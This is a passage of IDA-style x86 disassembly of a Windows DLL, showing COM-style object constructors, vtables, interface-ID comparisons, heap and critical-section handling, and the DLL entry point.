		mov	ecx, offset dword_69B95AB0 ; Target
		call	sub_69B188DC
		mov	eax, dword_69B95AB0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		retn
sub_69B1BB42	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BB5E	proc near		; CODE XREF: sub_69B19A23+3Ep
					; sub_69B1BB42p

; FUNCTION CHUNK AT 69B2349D SIZE 00000003 BYTES

		push	28h
		call	sub_69B1D897
		test	eax, eax
		jz	loc_69B2349D
		mov	ecx, eax
		push	esi
		mov	esi, ecx
		call	sub_69B19B5C
		lea	eax, [esi+10h]
		push	eax		; lpCriticalSection
		mov	dword ptr [esi], offset	off_69B1F220
		mov	dword ptr [esi+4], offset off_69B1BB94
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	eax, esi
		pop	esi
		retn
sub_69B1BB5E	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1BB94	dd offset loc_69B1BB98	; DATA XREF: sub_69B1BB5E+23o
					; sub_69B1BBB7+Eo
; ---------------------------------------------------------------------------


loc_69B1BB98:				; DATA XREF: .text:off_69B1BB94o
		push	esi
		mov	esi, ecx
		call	sub_69B1BBB7
		test	byte ptr [esp+8], 1
		jz	short loc_69B1BBB0
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B1BBB0:				; CODE XREF: .text:69B1BBA5j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B1BBB7	proc near		; CODE XREF: .text:69B1BB9Bp
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax		; lpCriticalSection
		mov	dword ptr [esi-4], offset off_69B1F220
		mov	dword ptr [esi], offset	off_69B1BB94
		call	ds:DeleteCriticalSection
		mov	dword ptr [esi-4], offset off_69B1AEB8
		mov	dword ptr [esi], offset	off_69B1BBE0
		pop	esi
		retn
sub_69B1BBB7	endp

; ---------------------------------------------------------------------------
off_69B1BBE0	dd offset sub_69B2DE5F	; DATA XREF: sub_69B19B6A+17o
					; sub_69B1AE5D+51o ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B182B8


loc_69B1BBE4:				; CODE XREF: sub_69B182B8+41j
					; sub_69B182B8+49j ...
		mov	edi, [ebp+arg_4]
		mov	ebx, [ebp+var_4]
		add	edi, 0FFFFFFF8h
		test	ebx, ebx
		mov	esi, [edi]
		jz	short loc_69B1BC00
		mov	eax, esi
		sub	eax, edx
		sub	eax, 10h
		cdq
		idiv	ecx
		mov	[ebx+4Ch], eax


loc_69B1BC00:				; CODE XREF: sub_69B182B8+3939j
		mov	eax, [edi+4]
		and	eax, 7FFFFFFFh
		cmp	eax, 0FFFFFFFh
		jz	short loc_69B1BC24
		push	0
		push	edi
		lea	eax, [esi+eax*4+2070h]
		push	eax
		call	dword_69B92950	; InterlockedCompareExchange
		test	eax, eax
		jz	short loc_69B1BC65


loc_69B1BC24:				; CODE XREF: sub_69B182B8+3955j
		lea	ebx, [esi+2034h]
		mov	ecx, ebx
		call	sub_69B1808E
		test	al, al
		jz	loc_69B23701
		inc	dword ptr [esi+2060h]
		test	byte ptr [edi+7], 80h
		jnz	loc_69B2371D


loc_69B1BC49:				; CODE XREF: sub_69B182B8+B468j
		mov	esi, [esi]
		xor	eax, eax
		cmp	dword_69B92940,	eax
		push	edi		; lpMem
		push	eax		; dwFlags
		push	esi		; hHeap
		jnz	short loc_69B1BC73
		call	ds:HeapFree


loc_69B1BC5E:				; CODE XREF: sub_69B182B8+39C0j
		mov	esi, eax
		jmp	loc_69B18371
; ---------------------------------------------------------------------------


loc_69B1BC65:				; CODE XREF: sub_69B182B8+396Aj
		inc	dword ptr [esi+2068h]


loc_69B1BC6B:				; CODE XREF: sub_69B182B8+B460j
		xor	eax, eax
		inc	eax
		jmp	loc_69B1837A
; ---------------------------------------------------------------------------


loc_69B1BC73:				; CODE XREF: sub_69B182B8+399Ej
		call	sub_69B2D4AB
		jmp	short loc_69B1BC5E
; END OF FUNCTION CHUNK	FOR sub_69B182B8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1BC7A	proc near		; CODE XREF: sub_69B184B1+55p
					; sub_69B184B1+B666p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B238F0 SIZE 000000C1 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+0Ch]
		mov	edx, [ebp+arg_8]
		cmp	eax, edx
		push	ebx
		mov	ebx, [ecx+8]
		push	esi
		push	edi
		lea	edi, [ecx+0FFh]
		mov	[ebp+var_4], ebx
		mov	esi, ebx
		mov	[ebp+arg_0], edi
		jb	loc_69B238F0
		mov	eax, ebx
		sub	eax, ecx
		inc	eax
		shl	eax, 4
		add	eax, ecx
		and	dword ptr [eax], 0
		mov	[ebx], dl
		add	ebx, edx
		cmp	ebx, edi
		jnb	short loc_69B1BCC3
		add	[ecx+8], edx
		sub	[ecx+0Ch], edx


loc_69B1BCBE:				; CODE XREF: sub_69B1BC7A+53j
					; sub_69B1BC7A+7D14j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1BCC3:				; CODE XREF: sub_69B1BC7A+3Cj
		and	dword ptr [ecx+0Ch], 0
		lea	edx, [ecx+10h]
		mov	[ecx+8], edx
		jmp	short loc_69B1BCBE
sub_69B1BC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BCCF	proc near		; CODE XREF: sub_69B1D617+27p
					; sub_69B3C634+5Bp ...

; FUNCTION CHUNK AT 69B24156 SIZE 00000003 BYTES

		push	0F0h
		call	sub_69B17EF3
		test	eax, eax
		jz	loc_69B24156
		mov	ecx, eax
sub_69B1BCCF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B1BCE3	proc near		; CODE XREF: sub_69B21F28+3p
					; sub_69B3F90C+1Bp ...
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B1D6B9
		lea	edi, [esi+24h]
		mov	ecx, edi
		call	sub_69B1818F
		lea	ebx, [esi+28h]
		mov	ecx, ebx
		call	sub_69B1818F
		lea	ebp, [esi+2Ch]
		mov	ecx, ebp
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B12488
		mov	dword ptr [ebx], offset	off_69B12440
		mov	dword ptr [ebp+0], offset off_69B12400
		mov	dword ptr [esi], offset	off_69B1BF80
		mov	dword ptr [esi+0Ch], offset off_69B220C0
		xor	edi, edi
		mov	[esi+34h], edi
		lea	ebx, [esi+3Ch]
		mov	[ebx], edi
		mov	[esi+44h], edi
		mov	[esi+48h], edi
		mov	[esi+4Ch], edi
		mov	[esi+50h], edi
		mov	[esi+58h], edi
		mov	[esi+5Ch], edi
		mov	[esi+60h], edi
		mov	[esi+64h], edi
		mov	[esi+68h], edi
		mov	[esi+6Ch], edi
		lea	ebp, [esi+70h]
		mov	[ebp+0], edi
		lea	ecx, [esi+7Ch]
		mov	[esi+74h], edi
		call	sub_69B11D97
		mov	[esi+88h], edi
		lea	eax, [esi+90h]
		mov	[eax], edi
		mov	[eax+4], edi
		mov	[eax+8], edi
		mov	[eax+0Ch], edi
		mov	[esi+0A8h], edi
		mov	[esi+0B4h], edi
		mov	[esi+0B8h], edi
		mov	[esi+0BCh], edi
		mov	[esi+0C0h], edi
		mov	[esi+0D0h], edi
		mov	[esi+0D4h], edi
		mov	[esi+0D8h], edi
		mov	[esi+0DCh], edi
		mov	ecx, esi
		mov	[esi+0E8h], edi
		call	sub_69B1B42A
		push	offset Addend	; lpAddend
		mov	[esi+0E0h], eax
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	[esi+78h], edi
		call	sub_69B19E6E
		call	sub_69B1992C
		call	sub_69B1B352
		push	eax
		push	ebx
		call	sub_69B17320
		mov	ebx, [ebx]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		call	sub_69B19AEC
		push	eax
		lea	ebx, [esi+0C0h]
		push	ebx
		call	sub_69B17320
		mov	ebx, [ebx]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		mov	[esi+0CCh], edi
		push	edi
		push	1
		push	1
		push	edi
		call	ds:SHLWAPI_51
		push	eax		; hEvent
		mov	[esi+0C4h], eax
		call	ds:ResetEvent	; ResetEvent
		push	1
		mov	byte ptr [esi+38h], 1
		call	sub_69B1A6EC
		push	eax
		push	ebp
		call	sub_69B17320
		mov	ecx, [ebp+0]
		call	sub_69B11E20
		lea	eax, [esi+50h]
		push	eax
		mov	ecx, esi
		call	sub_69B1D8A8
		mov	ecx, esi
		call	sub_69B1BE5D
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B1BCE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BE5D	proc near		; CODE XREF: sub_69B1BCE3+16Ep
					; sub_69B3F250+4Ap
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+50h]
		push	esi
		push	0
		push	3
		call	sub_69B1BE7F
		push	eax
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [esi]
		mov	ecx, esi
		pop	esi
		jmp	dword ptr [eax+14h]
sub_69B1BE5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1BE7F	proc near		; CODE XREF: sub_69B1BE5D+Bp
					; sub_69B3E5A2+B4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 69B24A7A SIZE 00000022 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_8]
		cmp	dword ptr [esi+0E8h], 0
		push	[ebp+arg_C]
		push	20h
		jnz	loc_69B24A7A
		call	sub_69B1DAA0
		test	eax, eax
		jz	short loc_69B1BEB4
		push	esi
		push	[ebp+arg_4]
		mov	ecx, eax
		push	[ebp+arg_0]
		call	sub_69B1BEB8


loc_69B1BEAF:				; CODE XREF: sub_69B1BE7F+37j
					; sub_69B1BE7F+8C18j
		pop	esi
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_69B1BEB4:				; CODE XREF: sub_69B1BE7F+20j
					; sub_69B1BE7F+8C02j
		xor	eax, eax
		jmp	short loc_69B1BEAF
sub_69B1BE7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BEB8	proc near		; CODE XREF: sub_69B15248+11p
					; sub_69B1BE7F+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B249F2 SIZE 0000007E BYTES

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+0Ch+arg_8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_69B1DCE8
		call	sub_69B1BF48
		mov	ebx, [esp+0Ch+arg_0]
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		mov	eax, ds:dword_69B1BEF8[ebx*4]
		mov	[esi+8], eax
		jnz	loc_69B249F2


loc_69B1BEEE:				; CODE XREF: sub_69B1BEB8+8B46j
					; sub_69B1BEB8+8B58j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B1BEB8	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B1BEF8	dd 10400h			dd 1090400h, 2090400h, 83010000h, 4010400h, 5090400h, 6090400h
		dd 7010400h, 8010400h, 9010400h, 0
		dd 0B010400h, 3	dup(0)
		dd 0F110400h, 0D0050400h, 11010400h, 12010400h,	0

; =============== S U B	R O U T	I N E =======================================



sub_69B1BF48	proc near		; CODE XREF: sub_69B1BEB8+17p
					; sub_69B3CDC8+2Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		test	ecx, ecx
		mov	[esi], ecx
		jz	short loc_69B1BF5A
		mov	eax, [ecx]
		call	dword ptr [eax+14h]


loc_69B1BF5A:				; CODE XREF: sub_69B1BF48+Bj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1BF48	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BF60	proc near		; CODE XREF: sub_69B3F48B+3j
					; .text:69B3F4C0j ...

; FUNCTION CHUNK AT 69B22E4A SIZE 00000004 BYTES

		mov	eax, [ecx+4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B1BF70
		test	al, 4
		jnz	loc_69B22E4A


loc_69B1BF70:				; CODE XREF: sub_69B1BF60+6j
		add	ecx, 8
		push	ecx		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		retn
sub_69B1BF60	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1BF80	dd offset sub_69B1BFF8	; DATA XREF: sub_69B1BCE3+3Co
					; sub_69B3F305+Do
		dd offset sub_69B1E09D
		dd offset sub_69B3F894
		dd offset sub_69B3F8F1
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B3D1F0
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B3EF5A
		dd offset sub_69B1C12C
		dd offset sub_69B3FBE9
		dd offset sub_69B3D746
		dd offset sub_69B3D7A3
		dd offset nullsub_5
		dd offset sub_69B3D284
		dd offset sub_69B3F58D
		dd offset sub_69B3F507
		dd offset sub_69B3F50C
		dd offset sub_69B3F516
		dd offset sub_69B3F790
		dd offset sub_69B3E242
		dd offset sub_69B3E044
		dd offset sub_69B3EF04
		dd offset sub_69B3EDFC
		dd offset sub_69B3F52D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1BFF8	proc near		; CODE XREF: sub_69B3F471+5j
					; .text:69B3F4A8j ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B248E8 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_69B248E8
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1B406
		push	[ebp+arg_8]
		mov	ecx, [esi+4Ch]
		push	[ebp+arg_4]
		push	0
		push	0
		push	0
		push	0
		call	sub_69B1C04C
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B1C047:				; CODE XREF: sub_69B1BFF8+88F5j
		pop	ebx
		leave
		retn	0Ch
sub_69B1BFF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C04C	proc near		; CODE XREF: sub_69B18AE3+3Ap
					; sub_69B1BFF8+36p ...

; FUNCTION CHUNK AT 69B24173 SIZE 000006FF BYTES

		push	8Ch
		push	offset dword_69B1C120
		call	sub_69B19C5C
		mov	[ebp-1Ch], ecx
		mov	dword ptr [ebp-20h], 80004002h
		and	dword ptr [ebp-4], 0
		mov	esi, [ebp+1Ch]
		and	dword ptr [esi], 0
		mov	edi, [ecx+0Ch]
		mov	[ebp-24h], edi
		mov	[ebp-28h], edi
		mov	ebx, [ecx+8]
		shr	ebx, 18h
		and	ebx, 1Fh
		mov	[ebp-2Ch], ebx
		mov	eax, [ebp+18h]
		mov	eax, [eax]
		mov	ecx, 0A6EF9860h
		cmp	eax, ecx
		jbe	loc_69B24173
		cmp	eax, 0DF0B3D60h
		jz	loc_69B2481E
		cmp	eax, 0F5078F15h
		jz	loc_69B247FE
		cmp	eax, 0F5078F17h
		jz	loc_69B247F7
		cmp	eax, 0F5078F2Ch
		jz	loc_69B247F0


loc_69B1C0C2:				; CODE XREF: sub_69B1C04C+814Aj
		mov	cl, [edi+8Dh]
		mov	[ebp-55h], cl
		test	cl, cl
		jnz	loc_69B243D8
		cmp	eax, 2B8DE2FFh
		jz	loc_69B247A0
		cmp	eax, 3F7F31ACh
		jz	loc_69B24755
		cmp	eax, 0D4D4A0FCh
		jz	loc_69B2470F


loc_69B1C0F4:				; CODE XREF: sub_69B1C04C+83C8j
					; sub_69B1C04C+8587j
		cmp	ebx, 3
		jnz	short loc_69B1C10D


loc_69B1C0F9:				; CODE XREF: sub_69B1C04C+8284j
		mov	eax, [edi]
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		mov	ecx, edi
		call	dword ptr [eax+38h]


loc_69B1C10A:				; CODE XREF: sub_69B2487B+15j
		mov	[ebp-20h], eax


loc_69B1C10D:				; CODE XREF: sub_69B1C04C+ABj
					; sub_69B1C04C+815Fj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-20h]
		call	sub_69B1853C
		retn	18h
sub_69B1C04C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B1C120	dd 0FFFFFFFFh			dd offset sub_69B24872
		dd offset sub_69B2487B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1C12C	proc near		; CODE XREF: sub_69B772EC+65p
					; DATA XREF: .text:69B1BFB8o

var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 69B1DF1C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 69B1EE40 SIZE 000003AE BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	eax, [edi]
		mov	esi, ecx
		mov	ecx, 948C5AD3h
		cmp	eax, ecx
		mov	ebx, 80004002h
		jbe	loc_69B1EE40
		mov	ecx, 0D242361Eh
		cmp	eax, ecx
		jbe	loc_69B1F00A
		cmp	eax, 0F5078F14h
		jz	loc_69B1F1CB
		cmp	eax, 0F52E2B61h
		jnz	loc_69B1F192
		push	offset dword_69B1C1A8


loc_69B1C176:				; CODE XREF: sub_69B1C12C+2E9Dj
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	short loc_69B1C19F
		cmp	byte ptr [esi+8Dh], 0
		jnz	short loc_69B1C19F
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		jz	loc_69B1DF1C
		push	[ebp+arg_4]


loc_69B1C197:				; CODE XREF: sub_69B1C12C+2D7Bj
		push	[ebp+arg_C]
		call	sub_69B17320


loc_69B1C19F:				; CODE XREF: sub_69B1C12C+52j
					; sub_69B1C12C+5Bj ...
		mov	eax, ebx


loc_69B1C1A1:				; CODE XREF: sub_69B1C12C+2FF0j
					; sub_69B1C12C+3038j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B1C12C	endp

; ---------------------------------------------------------------------------
dword_69B1C1A8	dd 0F52E2B61h, 11D118A1h, 800005B1h, 6B91495Fh
; =============== S U B	R O U T	I N E =======================================



sub_69B1C1B8	proc near		; CODE XREF: sub_69B1C12C+4Bp
					; sub_69B1C12C+2D53p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [eax+4]
		mov	ecx, [esp+arg_4]
		cmp	edx, [ecx+4]
		jnz	short loc_69B1C1DE
		mov	edx, [eax+8]
		cmp	edx, [ecx+8]
		jnz	short loc_69B1C1DE
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx+0Ch]
		jnz	short loc_69B1C1DE
		xor	eax, eax
		inc	eax

locret_69B1C1DB:			; CODE XREF: sub_69B1C1B8+28j
		retn	8
; ---------------------------------------------------------------------------


loc_69B1C1DE:				; CODE XREF: sub_69B1C1B8+Ej
					; sub_69B1C1B8+16j ...
		xor	eax, eax
		jmp	short locret_69B1C1DB
sub_69B1C1B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C1E2	proc near		; CODE XREF: sub_69B1B0B5:loc_69B1B16Fp
					; sub_69B1E3D1:loc_69B1E437p
		push	esi
		mov	esi, dword_69B929EC


loc_69B1C1E9:				; CODE XREF: sub_69B1C1E2+1Dj
		test	esi, esi
		jz	short loc_69B1C201
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B1C1FC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi], 0


loc_69B1C1FC:				; CODE XREF: sub_69B1C1E2+Fj
		mov	esi, [esi+4]
		jmp	short loc_69B1C1E9
; ---------------------------------------------------------------------------


loc_69B1C201:				; CODE XREF: sub_69B1C1E2+9j
		pop	esi
		push	esi
		mov	esi, dword_69B9295C


loc_69B1C209:				; CODE XREF: sub_69B1C1E2+39j
		test	esi, esi
		jnz	short loc_69B1C20F
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1C20F:				; CODE XREF: sub_69B1C1E2+29j
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	esi, [esi+14h]
		jmp	short loc_69B1C209
sub_69B1C1E2	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1C220	dd offset sub_69B2D67E	; DATA XREF: sub_69B1A768+25o
					; .text:69B318C7o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B1C2C8
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B3189C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B315F1
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B1C258

; =============== S U B	R O U T	I N E =======================================



sub_69B1C258	proc near		; DATA XREF: .text:69B1C254o
					; .text:69B1C2C4o
		push	esi
		mov	esi, ecx
		call	sub_69B1C27E
		push	0
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B1C258	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C27E	proc near		; CODE XREF: sub_69B1C258+3p
					; sub_69B70B8C+30p ...

; FUNCTION CHUNK AT 69B23FD2 SIZE 0000003E BYTES

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+0Ch], 0
		jg	loc_69B23FD2


loc_69B1C28B:				; CODE XREF: sub_69B1C27E+7D8Dj
		pop	esi
		retn
sub_69B1C27E	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1C290	dd offset sub_69B2D67E	; DATA XREF: sub_69B1A799+12o
					; sub_69B31521+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B1C2C8
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B3148F
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B315F1
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B1C258

; =============== S U B	R O U T	I N E =======================================



sub_69B1C2C8	proc near		; DATA XREF: .text:69B16CF8o
					; .text:69B1C22Co ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B1C2E3
		test	[esp+4+arg_0], 1
		jz	short loc_69B1C2DD
		push	esi
		call	sub_69B1829F


loc_69B1C2DD:				; CODE XREF: sub_69B1C2C8+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1C2C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C2E3	proc near		; CODE XREF: sub_69B1C2C8+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B1C2E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C300	proc near		; CODE XREF: sub_69B1DBFF+4Dp

; FUNCTION CHUNK AT 69B234D5 SIZE 00000017 BYTES

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	1Ch
		mov	ebp, ecx
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B1C34E
		push	ebp
		mov	ecx, eax
		call	sub_69B11E54
		mov	esi, eax


loc_69B1C31B:				; CODE XREF: sub_69B1C300+50j
		test	esi, esi
		jz	short loc_69B1C347
		push	1		; flProtect
		push	2000h		; flAllocationType
		mov	ebx, 20000h
		push	ebx		; dwSize
		push	0		; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_69B234D5
		push	ebx
		push	edi
		call	sub_69B1C352
		mov	[esi], edi


loc_69B1C347:				; CODE XREF: sub_69B1C300+1Dj
		mov	eax, esi


loc_69B1C349:				; CODE XREF: sub_69B1C300+71E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B1C34E:				; CODE XREF: sub_69B1C300+Fj
		xor	esi, esi
		jmp	short loc_69B1C31B
sub_69B1C300	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C352	proc near		; CODE XREF: sub_69B19D0A+6Ep
					; sub_69B1C300+40p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_69B929E8
		test	esi, esi
		jz	short loc_69B1C36A
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0Ch]
		mov	esi, dword_69B929E8


loc_69B1C36A:				; CODE XREF: sub_69B1C352+9j
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	edx, [esp+4+arg_0]
		jle	short loc_69B1C3A3
		push	ebx
		push	edi
		lea	edi, [eax-1]
		shr	edi, 10h
		inc	edi


loc_69B1C37F:				; CODE XREF: sub_69B1C352+4Dj
		mov	ecx, edx
		shr	ecx, 10h
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, dword_69B929F8[eax]
		add	edx, 10000h
		or	[eax], bl
		dec	edi
		jnz	short loc_69B1C37F
		pop	edi
		pop	ebx


loc_69B1C3A3:				; CODE XREF: sub_69B1C352+22j
		test	esi, esi
		jz	short loc_69B1C3AE
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+10h]


loc_69B1C3AE:				; CODE XREF: sub_69B1C352+53j
		pop	esi
		retn	8
sub_69B1C352	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C3B2	proc near		; DATA XREF: .text:69B1F230o
		add	ecx, 10h
		push	ecx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		retn
sub_69B1C3B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
		public DllEntryPoint

DllEntryPoint	proc near

hinstDLL	= dword	ptr  8
fdwReason	= dword	ptr  0Ch
lpReserved	= dword	ptr  10h

; FUNCTION CHUNK AT 69B22B12 SIZE 0000003A BYTES

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+fdwReason]
		push	esi
		xor	esi, esi
		sub	eax, esi
		jz	short loc_69B1C40B
		dec	eax
		jnz	loc_69B22B12
		call	sub_69B1ABCC
		test	eax, eax
		jz	short loc_69B1C436
		push	[ebp+lpReserved]
		push	1
		push	[ebp+hinstDLL]
		call	sub_69B1BAE5
		test	eax, eax
		jz	short loc_69B1C436
		push	[ebp+hinstDLL]
		call	sub_69B1B7AD
		test	eax, eax
		jz	short loc_69B1C436
		mov	dword_69B92940,	esi
		mov	dword_69B9293C,	esi


loc_69B1C403:				; CODE XREF: DllEntryPoint+77j
					; DllEntryPoint+6759j ...
		xor	eax, eax
		inc	eax


loc_69B1C406:				; CODE XREF: DllEntryPoint+7Bj
		pop	esi
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B1C40B:				; CODE XREF: DllEntryPoint+Bj
		cmp	[ebp+lpReserved], esi
		jnz	loc_69B22B3D


loc_69B1C414:				; CODE XREF: DllEntryPoint+678Aj
		push	[ebp+lpReserved]
		mov	dword_69B92940,	esi
		push	esi
		push	[ebp+hinstDLL]
		call	sub_69B1BAE5
		test	eax, eax
		jz	short loc_69B1C436
		call	sub_69B1E3D1
		call	sub_69B1C43A
		jmp	short loc_69B1C403
; ---------------------------------------------------------------------------


loc_69B1C436:				; CODE XREF: DllEntryPoint+1Bj
					; DllEntryPoint+2Cj ...
		xor	eax, eax
		jmp	short loc_69B1C406
DllEntryPoint	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C43A	proc near		; CODE XREF: DllEntryPoint+72p

; FUNCTION CHUNK AT 69B120CA SIZE 00000011 BYTES

		push	esi
		mov	esi, dword_69B9295C


loc_69B1C441:				; CODE XREF: sub_69B1C43A-A364j
		test	esi, esi
		jnz	loc_69B120CA
		call	sub_69B1ADD6
		call	sub_69B1B4E4
		call	sub_69B1E5CC
		call	sub_69B1C469
		push	offset dword_69B92978
		call	sub_69B17230
		pop	esi
		retn
sub_69B1C43A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1C469	proc near		; CODE XREF: sub_69B1C43A+1Ep
		mov	eax, lpMem
		test	eax, eax
		push	esi
		mov	esi, ds:HeapFree
		jz	short loc_69B1C484
		push	eax		; lpMem
		push	0		; dwFlags
		push	hHeap		; hHeap
		call	esi ; HeapFree


